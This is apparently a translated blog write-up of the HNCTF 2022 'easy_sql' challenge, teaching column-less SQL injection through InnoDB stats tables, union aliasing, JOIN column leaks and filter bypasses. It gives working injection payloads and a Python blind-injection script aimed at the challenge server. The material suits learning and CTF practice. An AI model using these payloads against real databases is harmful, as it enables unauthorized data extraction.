NSS [HNCTF 2022 WEEK2]easy_sql

NSS [HNCTF 2022 WEEK2]easy_sql

This question examines unlisted injection. First, understand what unlisted injection is before starting to answer the question.

Why is column-less injection needed?

Our commonly used SQL injection method is information_schemaimplemented through this default database, but have you ever thought that if the database is filtered, we cannot use this library to find out the table names and column names. However, we can find out the table name in two ways:

  1. InnoDb engine

    Starting from MYSQL5.5.8, InnoDB becomes its default storage engine. In versions above MYSQL 5.6, inndb adds two tables, innodb_index_stats and innodb_table_stats ( mysql.innodb_table_stats). Both tables store information about the database and its data tables, but do not store column names. In higher versions of mysql, table structures are recorded in INNODB_TABLES and INNODB_COLUMNS.

  2. sys database

    In MYSQL 5.7 and above, the sys database is added. The basic data of this database comes from information_schema and performance_chema, and it does not store data itself. The table name can be obtained through schema_auto_increment_columns( sys.schema_auto_increment_columns).

However, the above two methods can only find the table name, but not the column name. In this case, we will use column-less injection. Column-less injection, as the name suggests, is an injection that can inject data without column names.

No column name injection usage conditions

Injection without column names is mainly suitable for situations where the data table has been obtained but the columns cannot be queried. In most CTF questions, the information_schema library is filtered, and this method is used to obtain column names.

No column name injection principle

The principle of column-less injection is actually very simple, that is, joint query creates virtual data. It can be seen as aliasing the column names we don't know, and performing data query while taking the alias, so the number of query fields must be the same. If the fields we query are more than the columns in the data table, an error will occur. Report an error.

Practical demonstration:

The data in the normal query user table isselect * from user;

image-20230917145304914

Use a joint query to check the data in the table select 1,2,3 union select * from user;. It is obvious that dummy data (virtual field value 123 and virtual table) is created, and the column name in the virtual table becomes 123.

image-20230917145419828

If we only check the field value of one column, we can use:
To explain, xxx is the table name of the virtual table named by yourself, which can be customized. This sql statement creates virtual table xxx and virtual columns 1, 2, and 3 in a joint query and simultaneously queries the data in the second column of the virtual table.

select `2` from (select 1,2,3 union select * from user)xxx;

image-20230917145701326

Check multiple columns at the same time

select concat(`2`,`3`) from (select 1,2,3 union select * from user)xxx;

image-20230917150452258

However, sometimes ` will also be filtered. At this time, we have to use the alias (as) operation again and change the column names, so that the column names do not need backticks when querying the data.

select 1 as a,2 as b,3 as c union select * from user;

image-20230917150229489

select b from (select 1 as a,2 as b,3 as c union select * from user)xxx;

image-20230917150304333


Another method is to use JOINinjection without column names to establish an inner connection between two tables through JOIN. That is to say, adding up the column names of the two tables may reveal the same column names. We use It is this feature that makes the list pop up.

select * from (select * from user as a join user as b)xxx;

image-20230917152950066

After getting the first column name id, the following payload will echo us the data of the second column.

select * from (select * from user as a join user as b using(id))xxx;

image-20230917153008543

And so on for the rest.

select * from (select * from user as a join user as b using(id,username))xxx;

image-20230917153055650

The actual payload of the first level of sqli-labs:

?id=-1' union all select * from (select * from users as a join users as b)as c--+

Start doing the questions.

image-20230917182417665

Let’s fuzz it first. 525 length is filtered.

image-20230917182632166

Filter characters replaced characters
space /**/
comment character '1 or;%00
information The above injection without column name
order group

The blacklist should look like this"/and|sleep|extractvalue|information|is|not|updataxml|order|rand|handler|flag|sleep|\~|\!|\@|\#|\\$|\%|\^|\+|\&|\-|\ /i"


The first is to determine the echo bit.

999'/**/group/**/by/**/3,'1

//也可以1'/**/union/**/select/**/1,2,3/**/'1   这样来判断

1, 2, and 3 are all normal, and when 4 is echoed 姓名不存在,或账号密码错误, it means that the echo bit is 3.

image-20230917183702022

Then get all databases:

1'/**/union/**/select/**/1,2,group_concat(database_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

The database name is found to be ctf,ctftraining,ctftraining,ctftraining,mysql

image-20230917185230720

Then get all the data tables: (The relationship between the tables and libraries is unknown. Try them one by one. The library corresponding to the flag table is ctftraining)

1'/**/union/**/select/**/1,2,group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/'1

The name of the lookup table is ccctttfff, flag, news, users, gtid_slave_pos

image-20230917190317695

We can't get the columns in the table, so to get the data (flag) here, we have to inject it with no column name.

1'/**/union/**/select/**/1,2,`1`/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/where/**/'1
`1`可换成group_concat(`1`)
闭合方式也有另外一种
1'union/**/select/**/1,2,group_concat(`1`)/**/from/**/(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx/**/union/**/select/**/1,2,3/**/'1

image-20230917192853946


We can also use it 位或盲注.

The bitwise OR operator in mysql is|

The essence of the bitwise OR operation is to logically OR the two data involved in the operation bit by bit according to the corresponding binary numbers. If one or two of the corresponding binary bits are 1, the operation result of this bit is 1, otherwise it is 0.

image-20230917200411194

The script is as follows:

import requests

url='http://node5.anna.nssctf.cn:28762/index.php'
flag = ''
count = 1
while True:
    for i in range(32, 127):
        data = {
    
    
            # "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name=database())),{count},1))={i},1,2)||'"
            # "id": f"1'|if(ascii(substr((select/**/database_name/**/from/**/mysql.innodb_table_stats/**/group/**/by/**/database_name/**/LIMIT/**/0,1),{count},1))={i},1,2)||'"
            # "id": f"1'|if(ascii(substr((select/**/group_concat(database_name)from/**/mysql.innodb_table_stats),{count},1))={i},1,2)||'"

            # "id": f"1'|if(ascii(substr((select(group_concat(table_name))from(mysql.innodb_table_stats)),{count},1))={i},1,2)||'"

            "id": f"1'|if(ascii(substr((select(group_concat(`1`))from(select/**/1/**/union/**/select/**/*/**/from/**/ctftraining.flag)xxx),{
      
      count},1))={
      
      i},1,2)||'"
        }
        resp = requests.post(url=url, data=data)
        #print(resp.text)
        if 'Here is your want!' in resp.text:
            flag += chr(i)
            print(flag)
            break
        elif i == 126:
            exit()
        #time.sleep(0.1)
    count += 1

image-20230917200619743


Looking at the ideas of other masters, there is another way to close it %00by truncation.

for exampleid=1';%00

In the script you can write:f"1' union select 1,2,3;{parse.unquote('%00')}"

image-20230917204300943

Guess you like

Origin blog.csdn.net/Jayjay___/article/details/132956781